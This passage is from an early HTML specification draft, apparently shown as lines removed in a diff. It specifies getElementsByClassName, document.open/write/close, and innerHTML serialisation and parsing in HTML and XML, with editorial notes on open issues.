-   <p>Given the following XHTML fragment:</p>
-
-   <pre>AMPERSANDlt;div id="example"AMPERSANDgt;
- AMPERSANDlt;p id="p1" class="aaa bbb"/AMPERSANDgt;
- AMPERSANDlt;p id="p2" class="aaa ccc"/AMPERSANDgt;
- AMPERSANDlt;p id="p3" class="bbb ccc"/AMPERSANDgt;
-AMPERSANDlt;/divAMPERSANDgt;</pre>
-
-   <p>A call to
-    <code>document.getElementById('example').getElementsByClassName('aaa')</code>
-    would return a <code>NodeList</code> with the two paragraphs
-    <code>p1</code> and <code>p2</code> in it.</p>
-
-   <p>A call to <code>getElementsByClassName(['ccc', 'bbb'])</code> would
-    only return one node, however, namely <code>p3</code>. A call to
-    <code>document.getElementById('example').getElementsByClassName('ccc
-    bbb')</code> would return the same thing.</p>
-
-   <p>A call to <code>getElementsByClassName(['aaa bbb'])</code> would return
-    no nodes; none of the elements above are in the "aaa bbb" class.</p>
-
-   <p>A call to <code>getElementsByClassName([''])</code> would also return
-    no nodes, since none of the nodes are in the "" class (indeed, in HTML,
-    it is impossible to specify that an element is in the "" class).</p>
-  </div>
-
-  <p>The <dfn id=getelementsbyclassname0
-   title=dom-getElementsByClassName><code>getElementsByClassName()</code></dfn>
-   method on the <code><a href="#htmlelement">HTMLElement</a></code>
-   interface must return the nodes that the <code><a
-   href="#htmldocument">HTMLDocument</a></code> <code
-   title=dom-document-getElementsByClassName><a
-   href="#getelementsbyclassname">getElementsByClassName()</a></code> method
-   would return, excluding any elements that are not descendants of the
-   <code><a href="#htmlelement">HTMLElement</a></code> object on which the
-   method was invoked.</p>
-  <!-- XXX
->         * xGetParentElementByClassName(rootElement, className, tagName) -
-> Navigates upwards until we hit a parent element with the given class name and
-> optional tag name.
--->
-
-  <h3 id=dynamic><span class=secno>2.5. </span><dfn id=dynamic3>Dynamic
-   markup insertion</dfn></h3>
-
-  <p>The <code title=dom-document-write><a
-   href="#document.write">document.write()</a></code> family of methods and
-   the <code title=dom-innerHTML><a href="#innerhtml">innerHTML</a></code>
-   family of DOM attributes enable script authors to dynamically insert
-   markup into the document.
-
-  <p class=issue>bz argues that innerHTML should be called something else on
-   XML documents and XML elements. Is the sanity worth the migration pain?
-
-  <p>Because these APIs interact with the parser, their behaviour varies
-   depending on whether they are used with <a href="#html-">HTML
-   documents</a> (and the <a href="#html-0">HTML parser</a>) or XHTML in <a
-   href="#xml-documents">XML documents</a> (and the <span>XML parser</span>).
-   The following table cross-references the various versions of these APIs.
-
-  <table>
-   <thead>
-    <tr>
-     <td>
-
-     <th><dfn id=document.write
-      title=dom-document-write><code>document.write()</code></dfn>
-
-     <th><dfn id=innerhtml title=dom-innerHTML><code>innerHTML</code></dfn>
-
-   <tbody>
-    <tr>
-     <th>For documents that are <a href="#html-">HTML documents</a>
-
-     <td><a href="#document.write0"
-      title=dom-document-write-HTML><code>document.write()</code> in HTML</a>
-
-     <td><a href="#innerhtml0"
-      title=dom-innerHTML-HTML><code>innerHTML</code> in HTML</a>
-
-    <tr>
-     <th>For documents that are <a href="#xml-documents">XML documents</a>
-
-     <td><a href="#document.write1"
-      title=dom-document-write-XML><code>document.write()</code> in XML</a>
-
-     <td><a href="#innerhtml2" title=dom-innerHTML-XML><code>innerHTML</code>
-      in XML</a>
-  </table>
-
-  <p>Regardless of the parsing mode, the <dfn id=document.writeln
-   title=dom-document-writeln><code>document.writeln(<var
-   title="">s</var>)</code></dfn> method must call the <code
-   title=dom-document-write><a
-   href="#document.write">document.write()</a></code> method with the same
-   argument <var title="">s</var>, and then call the <code
-   title=dom-document-write><a
-   href="#document.write">document.write()</a></code> method with, as its
-   argument, a string consisting of a single newline character (U+000A).
-
-  <h4 id=controlling><span class=secno>2.5.1. </span>Controlling the input
-   stream</h4>
-
-  <p>The <dfn id=open title=dom-document-open><code>open()</code></dfn>
-   method comes in several variants with different numbers of arguments.
-
-  <p>When called with two or fewer arguments, the method must act as follows:
-
-  <ol>
-   <li>
-    <p>Let <var title="">type</var> be the value of the first argument, if
-     there is one, or "<code>text/html</code>" otherwise.
-
-   <li>
-    <p>Let <var title="">replace</var> be true if there is a second argument
-     and it has the value "replace"<!-- case-insensitive. XXX
-   -->, and
-     false otherwise.
-
-   <li>
-    <p>If the document has an <span>active parser</span><!-- XXX xref
-    -->
-     that isn't a <a href="#script-created">script-created parser</a>, and
-     the <a href="#insertion">insertion point</a> associated with that
-     parser's <a href="#input0">input stream</a> is not undefined (that is,
-     it <em>does</em> point to somewhere in the input stream), then the
-     method does nothing. Abort these steps.</p>
-
-    <p class=note>This basically causes <code title=dom-document-open><a
-     href="#open">document.open()</a></code> to be ignored when it's called
-     in an inline script found during the parsing of data sent over the
-     network, while still letting it have an effect when called
-     asynchronously or on a document that is itself being spoon-fed using
-     these APIs.</p>
-
-   <li>
-    <p>Otherwise, if the document has an <span>active
-     parser</span><!--XXX xref-->, then stop that parser, and throw away any
-     pending content in the input stream. <span class=big-issue>what about if
-     it doesn't, because it's either like a text/plain, or Atom, or PDF, or
-     XHTML, or image document, or something?</span>
-   </li>
-   <!-- XXX see also innerHTML in HTML -->
-
-   <li>
-    <p>Remove all child nodes of the document.
-
-   <li>
-    <p>Create a new <a href="#html-0">HTML parser</a> and associate it with
-     the document. This is a <dfn id=script-created>script-created
-     parser</dfn> (meaning that it can be closed by the <code
-     title=dom-document-open><a href="#open">document.open()</a></code> and
-     <code title=dom-document-close><a
-     href="#close">document.close()</a></code> methods, and that the
-     tokeniser will wait for an explicit call to <code
-     title=dom-document-close><a href="#close">document.close()</a></code>
-     before emitting an end-of-file token).
-
-   <li>Mark the document as being an <a href="#html-" title="HTML
-    documents">HTML document</a> (it might already be so-marked).</li>
-   <!-- text/plain handling -->
-
-   <li>
-    <p>If <var title="">type</var> does not have the value
-     "<code>text/html</code>"<!-- XXX matched how?
-   -->, then act as if the
-     tokeniser had emitted a <code><a href="#pre0">pre</a></code> element
-     start tag, then set the <a href="#html-0">HTML parser</a>'s <a
-     href="#tokenisation1">tokenisation</a> stage's <a
-     href="#content2">content model flag</a> to <em>PLAINTEXT</em>.
-
-   <li>
-    <p>If <var title="">replace</var> is false, then: remove all the entries
-     in the <a href="#browsing">browsing context</a>'s <a
-     href="#session0">session history</a> after the <a
-     href="#current">current entry</a> in its <code><a
-     href="#documentui">DocumentUI</a></code>'s <code><a
-     href="#history1">History</a></code> object, add a new entry whose
-     address is the same as the <a href="#current">current entry</a>'s at the
-     end of the list, and then advance to that page as if the <code
-     title=dom-history-forward><a
-     href="#forward">history.forward()</a></code> method had been invoked.
-
-   <li>
-    <p>Finally, set the <a href="#insertion">insertion point</a> to point at
-     just before the end of the <a href="#input0">input stream</a> (which at
-     this point will be empty).
-  </ol>
-
-  <p class=big-issue>We shouldn't hard-code <code>text/plain</code> there. We
-   should do it some other way, e.g. hand off to the section on
-   content-sniffing and handling of incoming data streams, the part that
-   defines how this all works when stuff comes over the network.</p>
-  <!-- XXX Should we support XML/XHTML as a type to that method? -->
-
-  <p>When called with three or more arguments, the <code
-   title=dom-document-open><a href="#open">open()</a></code> method on the
-   <code><a href="#htmldocument">HTMLDocument</a></code> object must call the
-   <code title=dom-open>open()</code> method on the <code><a
-   href="#windowhtml">WindowHTML</a></code> interface of the object returned
-   by the <code title=dom-document-defaultView>defaultView</code> attribute
-   of the <code>DocumentView</code> interface of the <code><a
-   href="#htmldocument">HTMLDocument</a></code> object, with the same
-   arguments as the original call to the <code title=dom-document-open><a
-   href="#open">open()</a></code> method. If the <code
-   title=dom-document-defaultView>defaultView</code> attribute of the
-   <code>DocumentView</code> interface of the <code><a
-   href="#htmldocument">HTMLDocument</a></code> object is null, then the
-   method must raise an <code>INVALID_ACCESS_ERR</code> exception.
-
-  <p>The <dfn id=close title=dom-document-close><code>close()</code></dfn>
-   method must do nothing if there is no <a
-   href="#script-created">script-created parser</a> associated with the
-   document. If there is such a parser, then, when the method is called, the
-   user agent must insert an <a href="#explicit">explicit "EOF" character</a>
-   at the <a href="#insertion">insertion point</a> of the parser's <a
-   href="#input0">input stream</a>.
-
-  <h4 id=dynamic0><span class=secno>2.5.2. </span>Dynamic markup insertion in
-   HTML</h4>
-
-  <p>In HTML, the <dfn id=document.write0
-   title=dom-document-write-HTML><code>document.write(<var
-   title="">s</var>)</code></dfn> method must act as follows:
-
-  <ol>
-   <li>
-    <p>If the <a href="#insertion">insertion point</a> is undefined, the
-     <code title=dom-document-open><a href="#open">open()</a></code> method
-     must be called (with no arguments) on the <code
-     title=Document>document</code> object. The <a
-     href="#insertion">insertion point</a> will point at just before the end
-     of the (empty) <a href="#input0">input stream</a>.</p>
-
-   <li>
-    <p>The string <var title="">s</var> must be inserted into the <a
-     href="#input0">input stream</a><!-- XXX xref --> just before the <a
-     href="#insertion">insertion point</a>.</p>
-
-   <li>
-    <p>If there is <a href="#the-script" title="the script that will execute
-     as soon as the parser resumes">a script that will execute as soon as the
-     parser resumes</a>, then the method must now return without further
-     processing of the <a href="#input0">input stream</a>.</p>
-
-   <li>
-    <p>Otherwise, the tokeniser must process the characters that were
-     inserted, one at a time, processing resulting tokens as they are
-     emitted, and stopping when the tokeniser reaches the insertion point or
-     when the processing of the tokeniser is aborted by the tree construction
-     stage (this can happen if a <code><a href="#script2">script</a></code>
-     start tag token is emitted by the tokeniser).
-
-    <p class=note>If the <code title=dom-document-write-HTML><a
-     href="#document.write0">document.write()</a></code> method was called
-     from script executing inline (i.e. executing because the parser parsed a
-     set of <code><a href="#script2">script</a></code> tags), then this is a
-     <a href="#nestedParsing">reentrant invocation of the parser</a>.</p>
-
-   <li>
-    <p>Finally, the method must return.</p>
-  </ol>
-
-  <p>In HTML, the <dfn id=innerhtml0
-   title=dom-innerHTML-HTML><code>innerHTML</code></dfn> DOM attribute of all
-   <code><a href="#htmlelement">HTMLElement</a></code> and <code><a
-   href="#htmldocument">HTMLDocument</a></code> nodes returns a serialisation
-   of the node's children using the <span>HTML syntax</span><!-- XXX xref
-  -->.
-   On setting, it replaces the node's children with new nodes that result
-   from parsing the given value. The formal definitions follow.
-
-  <p>On getting, the <code title=dom-innerHTML-HTML><a
-   href="#innerhtml0">innerHTML</a></code> DOM attribute must return the
-   result of running the following algorithm:
-
-  <ol>
-   <li>
-    <p>Let <var title="">s</var> be a string, and initialise it to the empty
-     string.
-
-   <li>
-    <p>For each child node <var title="">child</var>, in <a
-     href="#tree-order">tree order</a>, append the appropriate string from
-     the following list to <var title="">s</var>:</p>
-
-    <dl class=switch>
-     <dt>If the child node is an <code title="">Element</code>
-
-     <dd>
-      <p>Append a U+003C LESS-THAN SIGN (<code title="">AMPERSANDlt;</code>)
-       character, followed by the element's tag name (which is all
-       lowercase).</p>
-
-      <p>For each attribute that the element has, append a U+0020 SPACE
-       character, the attribute's name (which again will be all lowercase), a
-       U+003D EQUALS SIGN (<code title="">=</code>) character, a U+0022
-       QUOTATION MARK (<code title="">AMPERSANDquot;</code>) character, the
-       attribute's value, <a href="#escapingString" title="escaping a
-       string">escaped as described below</a>, and a second U+0022 QUOTATION
-       MARK (<code title="">AMPERSANDquot;</code>) character.</p>
-
-      <p>While the exact order of attributes is UA-defined, and may depend on
-       factors such as the order that the attributes were given in the
-       original markup, the sort order must be stable, such that consecutive
-       calls to <code title=dom-innerHTML-HTML><a
-       href="#innerhtml0">innerHTML</a></code> serialise an element's
-       attributes in the same order.</p>
-
-      <p>Append a U+003E GREATER-THAN SIGN (<code title="">AMPERSANDgt;</code>)
-       character.</p>
-
-      <p>If the child node is an <code title="">Element</code> with a tag
-       name that is one of <code><a href="#area0">area</a></code>, <code><a
-       href="#base0">base</a></code>, <code>basefont</code>,
-       <code>bgsound</code>, <code><a href="#br0">br</a></code>, <code><a
-       href="#col0">col</a></code>, <code><a href="#embed0">embed</a></code>,
-       <code>frame</code>, <code><a href="#hr0">hr</a></code>, <code><a
-       href="#img0">img</a></code>, <code>input</code>, <code><a
-       href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,
-       <code><a href="#param0">param</a></code>, <code>spacer</code>, or
-       <code>wbr</code>, then continue on to the next child node at this
-       point.</p>
-      <!-- also, i guess:
-      image, isindex, and keygen, but we don't list those because we
-      don't consider those "elements", more "macros", and thus we
-      should never serialise them -->
-      <!-- XXX when we get around to
-      it, add event-source -->
-      <p>Otherwise, append the value of the <var title="">child</var>
-       element's <code title=dom-innerHTML-HTML><a
-       href="#innerhtml0">innerHTML</a></code> DOM attribute (thus recursing
-       into this algorithm for that element), followed by a U+003C LESS-THAN
-       SIGN (<code title="">AMPERSANDlt;</code>) character, a U+002F SOLIDUS (<code
-       title="">/</code>) character, the element's tag name again (which is
-       again all lowercase), and finally a U+003E GREATER-THAN SIGN (<code
-       title="">AMPERSANDgt;</code>) character.</p>
-
-     <dt>If the child node is a <code title="">Text</code> or <code
-      title="">CDATASection</code> node
-
-     <dd>
-      <p>If one of the ancestors of the child node is a <code><a
-       href="#style0">style</a></code>, <code><a
-       href="#script2">script</a></code>, <code>xmp</code>, <code><a
-       href="#iframe0">iframe</a></code>, <code>noembed</code>,
-       <code>noframes</code>, or <code><a
-       href="#noscript0">noscript</a></code> element, then append the value
-       of the <var title="">child</var> node's <code title="">data</code> DOM
-       attribute literally.</p>
-      <!-- note about noscript: because this is defining an API, it
-      can assume that scripting is enabled, and that thus the
-      <noscript> element in the DOM will have been parsed in the
-      scripting-enabled mode, and that thus the text node is raw
-      markup -->
-      
-      <p>Otherwise, append the value of the <var title="">child</var> node's
-       <code title="">data</code> DOM attribute, <a href="#escapingString"
-       title="escaping a string">escaped as described below</a>.</p>
-
-     <dt>If the child node is a <code title="">Comment</code>
-
-     <dd>
-      <p>Append the literal string <code>AMPERSANDlt;!--</code> (U+003C LESS-THAN
-       SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, U+002D
-       HYPHEN-MINUS), followed by the value of the <var title="">child</var>
-       node's <code title="">data</code> DOM attribute, followed by the
-       literal string <code>--AMPERSANDgt;</code> (U+002D HYPHEN-MINUS, U+002D
-       HYPHEN-MINUS, U+003E GREATER-THAN SIGN).</p>
-
-     <dt>If the child node is a <code title="">DocumentType</code>
-
-     <dd>
-      <p>Append the literal string <code>AMPERSANDlt;!DOCTYPE</code> (U+003C
-       LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+0044 LATIN CAPITAL LETTER
-       D, U+004F LATIN CAPITAL LETTER O, U+0043 LATIN CAPITAL LETTER C,
-       U+0054 LATIN CAPITAL LETTER T, U+0059 LATIN CAPITAL LETTER Y, U+0050
-       LATIN CAPITAL LETTER P, U+0045 LATIN CAPITAL LETTER E), followed by a
-       space (U+0020 SPACE), followed by the value of the <var
-       title="">child</var> node's <code title="">name</code> DOM attribute,
-       followed by the literal string <code>AMPERSANDgt;</code> (U+003E GREATER-THAN
-       SIGN).</p>
-    </dl>
-
-    <p>Other nodes types (e.g. <code title="">Attr</code>) cannot occur as
-     children of elements. If they do, the <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute must raise an
-     <code>INVALID_STATE_ERR</code> exception.</p>
-
-   <li>
-    <p>The result of the algorithm is the string <var title="">s</var>.
-  </ol>
-
-  <p><dfn id=escapingString>Escaping a string</dfn> (for the purposes of the
-   algorithm above) consists of replacing any occurances of the "<code
-   title="">AMPERSANDamp;</code>" character by the string "<code
-   title="">AMPERSANDamp;amp;</code>", any occurances of the "<code
-   title="">AMPERSANDlt;</code>" character by the string "<code
-   title="">AMPERSANDamp;lt;</code>", any occurances of the "<code
-   title="">AMPERSANDgt;</code>" character by the string "<code
-   title="">AMPERSANDamp;gt;</code>", and any occurances of the "<code
-   title="">AMPERSANDquot;</code>" character by the string "<code
-   title="">AMPERSANDamp;quot;</code>".
-
-  <p class=note>Entity reference nodes are <a
-   href="#entity-references">assumed to be expanded</a> by the user agent,
-   and are therefore not covered in the algorithm above.
-
-  <p class=note>If the element's contents are not conformant, it is possible
-   that the roundtripping through <code title=dom-innerHTML-HTML><a
-   href="#innerhtml0">innerHTML</a></code> will not work. For instance, if
-   the element is a <code>textarea</code> element to which a <code
-   title="">Comment</code> node has been appended, then assigning <code
-   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> to
-   itself will result in the comment being displayed in the text field.
-   Similarly, if, as a result of DOM manipulation, the element contains a
-   comment that contains the literal string "<code title="">--AMPERSANDgt;</code>",
-   then when the result of serialising the element is parsed, the comment
-   will be truncated at that point and the rest of the comment will be
-   interpreted as markup. Another example would be making a <code><a
-   href="#script2">script</a></code> element contain a text node with the
-   text string "<code>AMPERSANDlt;/script></code>".
-
-  <p>On setting, if the node is a document, the <code
-   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM
-   attribute must run the following algorithm:
-
-  <ol>
-   <li>
-    <p>Otherwise, if the document has an <span>active
-     parser</span><!--XXX xref-->, then stop that parser, and throw away any
-     pending content in the input stream. <span class=big-issue>what about if
-     it doesn't, because it's either like a text/plain, or Atom, or PDF, or
-     XHTML, or image document, or something?</span></p>
-    <!-- XXX see also document.open() -->
-
-   <li>
-    <p>The user agent must remove the children nodes of the
-     <code>Document</code> whose <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute is being set.</p>
-
-   <li>
-    <p>The user agent must create a new <a href="#html-0">HTML parser</a>, in
-     its initial state, and associate it with the <code>Document</code> node.</p>
-   </li>
-   <!-- redundant, the document is forcably already so labelled if we get here
-   <li>
-
-    <p>The user agent must mark the <code>Document</code> object as
-    being an <span title="HTML documents">HTML document</span>.</p>
-
-   </li>
--->
-
-   <li>
-    <p>The user agent must place into the <a href="#input0">input stream</a>
-     for the <a href="#html-0">HTML parser</a> just created the string being
-     assigned into the <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute.</p>
-
-   <li>
-    <p>The user agent must start the parser and let it run until it has
-     consumed all the characters just inserted into the input stream. (The
-     <code>Document</code> node will have been populated with elements and a
-     <code title=event-load>load</code> event will have fired on <a
-     href="#the-body0" title="the body element">its body element</a>.)</p>
-  </ol>
-
-  <p>Otherwise, if the node is an element, then setting the <code
-   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM
-   attribute must cause the following algorithm to run instead:
-
-  <ol>
-   <li>
-    <p>The user agent must create a new <code>Document</code> node, and mark
-     it as being an <a href="#html-" title="HTML documents">HTML
-     document</a>.</p>
-
-    <p>The user agent must create a new <a href="#html-0">HTML parser</a>,
-     and associate it with the just created <code>Document</code> node.</p>
-
-    <p class=note>Parts marked <dfn id=innerhtml1 title="innerHTML
-     case"><code>innerHTML</code> case</dfn> in algorithms in the parser
-     section are parts that only occur if the parser was created for the
-     purposes of handling the setting of an element's <code
-     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-     attribute. The algorithms have been annotated with such markings for
-     informational purposes only; such markings have no normative weight. If
-     it is possible for a condition described as an <a
-     href="#innerhtml1"><code>innerHTML</code> case</a> to occur even when
-     the parser wasn't created for the purposes of handling an element's
-     <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute, then that is an error
-     in the specification.</p>
-
-   <li>
-    <p>The user agent must set the <a href="#html-0">HTML parser</a>'s <a
-     href="#tokenisation1">tokenisation</a> stage's <a
-     href="#content2">content model flag</a> according to the name of the
-     element whose <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute is being set, as
-     follows:</p>
-
-    <dl class=switch>
-     <dt>If it is a <code><a href="#title3">title</a></code> or
-      <code>textarea</code> element
-
-     <dd>Set the <a href="#content2">content model flag</a> to
-      <em>RCDATA</em>.
-
-     <dt>If it is a <code><a href="#style0">style</a></code>, <code><a
-      href="#script2">script</a></code>, <code>xmp</code>, <code><a
-      href="#iframe0">iframe</a></code>, <code>noembed</code>,
-      <code>noframes</code>, or <code><a
-      href="#noscript0">noscript</a></code> element
-
-     <dd>Set the <a href="#content2">content model flag</a> to
-      <em>CDATA</em>.</dd>
-     <!-- note about noscript: we set it to CDATA here because if
-     someone is setting innerHTML, then we know scripting is enabled,
-     so the noscript element will be in CDATA mode -->
-
-     <dt>If it is a <code>plaintext</code> element
-
-     <dd>Set the <a href="#content2">content model flag</a> to
-      <em>PLAINTEXT</em>.
-
-     <dt>Otherwise
-
-     <dd>Set the <a href="#content2">content model flag</a> to
-      <em>PCDATA</em>.
-    </dl>
-
-   <li>
-    <p>The user agent must switch the <a href="#html-0">HTML parser</a>'s <a
-     href="#tree-construction1">tree construction</a> stage to <a
-     href="#the-main1">the main phase</a>.
-
-   <li>
-    <p>Let <var title="">root</var> be a new <code><a
-     href="#html0">html</a></code> element with no attributes.</p>
-
-   <li>
-    <p>The user agent must append the element <var title="">root</var> to the
-     <code>Document</code> node created above.</p>
-
-   <li>
-    <p>The user agent must set up the parser's <a href="#stack">stack of open
-     elements</a> so that it contains just the single element <var
-     title="">root</var>.</p>
-
-   <li>
-    <p>The user agent must <a href="#reset" title="reset the insertion mode
-     appropriately">reset the parser's insertion mode appropriately</a>.</p>
-
-   <li>
-    <p>The user agent must set the parser's <a
-     href="#form-element"><code>form</code> element pointer</a> to the
-     nearest node to the element whose <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute is being set that is a
-     <code>form</code> element (going straight up the ancestor chain, and
-     including the element itself, if it is a <code>form</code> element), or,
-     if there is no such <code>form</code> element, to null.</p>
-
-   <li>
-    <p>The user agent must place into the <a href="#input0">input stream</a>
-     for the <a href="#html-0">HTML parser</a> just created the string being
-     assigned into the <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute.</p>
-
-   <li>
-    <p>The user agent must start the parser and let it run until it has
-     consumed all the characters just inserted into the input stream.</p>
-
-   <li>
-    <p>The user agent must remove the children of the element whose <code
-     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-     attribute is being set.</p>
-
-   <li>
-    <p>The user agent must move all the child nodes of the <var
-     title="">root</var> element to the element whose <code
-     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-     attribute is being set, preserving their order.</p>
-  </ol>
-  <!-- XXX must make sure we spec that innerHTML causes mutation
-  events to fire, but document.write() doesn't. (the latter is already
-  req-stated in the parser section, btw) -->
-  <!-- http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/innerhtml.asp -->
-  <!-- http://lxr.mozilla.org/seamonkey/source/content/html/content/src/nsGenericHTMLElement.cpp#879
-       note script execution disabled
-       http://lxr.mozilla.org/seamonkey/source/content/base/src/nsContentUtils.cpp#3308
-       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLElement.cpp#L295
-       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLElement.cpp#L242
-       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLTokenizer.cpp#L1742
-   -->
-
-  <h4 id=dynamic1><span class=secno>2.5.3. </span>Dynamic markup insertion in
-   XML</h4>
-
-  <p>In an XML context, the <dfn id=document.write1
-   title=dom-document-write-XML><code>document.write(<var
-   title="">s</var>)</code></dfn> method must raise an
-   <code>INVALID_ACCESS_ERR</code> exception.</p>
-  <!--
-  For XHTML: content must be well-formed. Where does
-  it insert? Immediately after the script that called document.write()?</p>
-  how do we handle async scripts vs sync scripts?
-
-Consider:
-data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml"><![CDATA[ document.write('<foo>Test</foo>'); ]]></script>
-data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml"><![CDATA[ alert('test'); alert(document.write); try { document.write('<foo>Test</foo>'); alert(document.childNodes.length); } catch (e) { alert(e); } ]]></script>
-
--->
-
-  <p>The <dfn id=innerhtml2
-   title=dom-innerHTML-XML><code>innerHTML</code></dfn> attributes, on the
-   other hand, in an XML context, are usable.
-
-  <p>On getting, the <code title=dom-innerHTML-XML><a
-   href="#innerhtml2">innerHTML</a></code> DOM attribute on <code><a
-   href="#htmlelement">HTMLElement</a></code>s and <code><a
-   href="#htmldocument">HTMLDocument</a></code>s, in an XML context, must
-   return a namespace-well-formed XML representation of the element or
-   document. User agents may adjust prefixes and namespace declarations in
-   the serialisation (and indeed might be forced to do so in some cases to
-   obtain namespace-well-formed XML). <a href="#refsXML">[XML]</a> <a
-   href="#refsXMLNS">[XMLNS]</a>
-
-  <p>On setting, if the node is a document, the <code
-   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM
-   attribute on must run the following algorithm:
-
-  <ol>
-   <li>
-    <p>The user agent must remove the children nodes of the
-     <code>Document</code> whose <code title=dom-innerHTML-XML><a
-     href="#innerhtml2">innerHTML</a></code> attribute is being set.</p>
-
-   <li>
-    <p>The user agent must create a new <span>XML parser</span>.</p>
-
-   <li>
-    <p>If the <code title=dom-innerHTML-XML><a
-     href="#innerhtml2">innerHTML</a></code> attribute is being set on an
-     element, the user agent must <span>feed the parser</span> just created
-     the string corresponding to the start tag of that element, declaring all
-     the namespace prefixes that are in scope on that element in the DOM, as
-     well as declaring the default namespace (if any) that is in scope on
-     that element in the DOM.</p>
-
-   <li>
-    <p>The user agent must <span>feed the parser</span> just created the
-     string being assigned into the <code title=dom-innerHTML-HTML><a
-     href="#innerhtml0">innerHTML</a></code> attribute.</p>
-
-   <li>
-    <p>If the <code title=dom-innerHTML-XML><a
-     href="#innerhtml2">innerHTML</a></code> attribute is being set on an
-     element, the user agent must <span>feed the parser</span> the string
-     corresponding to the end tag of that element.</p>
-
-   <li>
-    <p>If the parser found a well-formedness error, the attribute's setter
-     must raise a <code>SYNTAX_ERR</code> exception and abort these steps.</p>
-
-   <li>
-    <p>Otherwise, the user agent must take the children of the document, if
-     the attribute is being set on a <code>Document</code> node, or of the
-     document's root element, if the attribute is being set on an
-     <code>Element</code> node, and append them to the node whose <code
-     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>
-     attribute is being set, preserving their order.</p>
-  </ol>
-
-  <h3 id=apis-in><span class=secno>2.6. </span>APIs in HTML documents</h3>
-  <!-- XXX case-sensitivity training required here. -->
-
-  <p>For <a href="#html-">HTML documents</a>, and for <a
-   href="#html-elements">HTML elements</a> in <a href="#html-">HTML
-   documents</a>, certain APIs defined in DOM3 Core become case-insensitive
-   or case-changing, as sometimes defined in DOM3 Core, and as summarised or
-   required below. <a href="#refsDOM3CORE">[DOM3CORE]</a>.
-
-  <p>This does not apply to <a href="#xml-documents">XML documents</a> or to
-   elements that are not in the <a href="#html-namespace0">HTML namespace</a>
-   despite being in <a href="#html-">HTML documents</a>.
-
-  <dl>
-   <dt><code title="">Element.tagName</code>, <code
-    title="">Node.nodeName</code>, and <code title="">Node.localName</code>
-
-   <dd>
-    <p>These attributes return tag names in all uppercase<!-- XXX
-    xref-->,
-     regardless of the case with which they were created.</p>
-
-   <dt><code title="">Document.createElement()</code>
-
-   <dd>
-    <p>The canonical form of HTML markup is all-lowercase; thus, this method
-     will lowercase<!-- XXX xref --> the argument before creating the
-     requisite element. Also, the element created must be in the <a
-     href="#html-namespace0">HTML namespace</a>.</p>
-
-    <p class=note>This doesn't apply to <code
-     title="">Document.createElementNS()</code>. Thus, it is possible, by
-     passing this last method a tag name in the wrong case, to create an
-     element that claims to have the tag name of an HTML element, but doesn't
-     support its interfaces, because it really has another tag name not
-     accessible from the DOM APIs.</p>
-
-   <dt><code title="">Element.setAttributeNode()</code>
-
-   <dd>
-    <p>When an <code>Attr</code> node is set on an <a href="#html-elements"
-     title="HTML elements">HTML element</a>, it must have its name
-     lowercased<!-- XXX xref --> before the element is affected.</p>
-
-    <p class=note>This doesn't apply to <code
-     title="">Document.setAttributeNodeNS()</code>.</p>
-
-   <dt><code title="">Element.setAttribute()</code>
-
-   <dd>
-    <p>When an attribute is set on an <a href="#html-elements" title="HTML
-     elements">HTML element</a>, the name argument must be
-     lowercased<!-- XXX xref
-    --> before the element is affected.</p>
-
-    <p class=note>This doesn't apply to <code
-     title="">Document.setAttributeNS()</code>.</p>
-
-   <dt><code title="">Document.getElementsByTagName()</code> and <code
-    title="">Element.getElementsByTagName()</code>
-
-   <dd>
-    <p>These methods (but not their namespaced counterparts) must compare the
-     given argument case-insensitively<!-- XXX xref --> when looking at <a
-     href="#html-elements" title="HTML elements">HTML elements</a>, and
-     case-sensitively otherwise.</p>
-
-    <p class=note>Thus, in an <span>HTML document</span> with nodes in
-     multiple namespaces, these methods will be both case-sensitive and
-     case-insensitive at the same time.</p>
-
-   <dt><code title="">Document.renameNode()</code>
-
-   <dd>
-    <p>If the new namespace is the <a href="#html-namespace0">HTML
-     namespace</a>, then the new qualified name must be lowercased before the
-     rename takes place.<!-- XXX xref --></p>
-  </dl>
-
-  <h2 id=semantics><span class=secno>3. </span>Semantics and structure of
-   HTML elements</h2>
-
-  <h3 id=semantics-intro><span class=secno>3.1. </span>Introduction</h3>
-
-  <p><em>This section is non-normative.</em>
-
-  <p class=big-issue>An introduction to marking up a document.
-
-  <h3 id=common0><span class=secno>3.2. </span>Common microsyntaxes</h3>
-
-  <p>There are various places in HTML that accept particular data types, such
-   as dates or numbers. This section describes what the conformance criteria
-   for content in those formats is, and how to parse them.
-
-  <p class=big-issue>Somewhere we need to define case-sensitivity of
-   attribute values. e.g. contenteditable="TrUe" in HTML vs XHTML. Same with
-   leading/trailing whitespace.</p>
-  <!-- XXX need to define how to handle U+000A LINE FEED and U+000D
-  CARRIAGE RETURN in attributes (for HTML) -->
-
-  <p class=big-issue>Need to go through the whole spec and make sure all the
-   attribute values are clearly defined either in terms of microsyntaxes or
-   in terms of other specs, or as "Text" or some such.
-
-  <h4 id=common1><span class=secno>3.2.1. </span>Common parser idioms</h4>
-
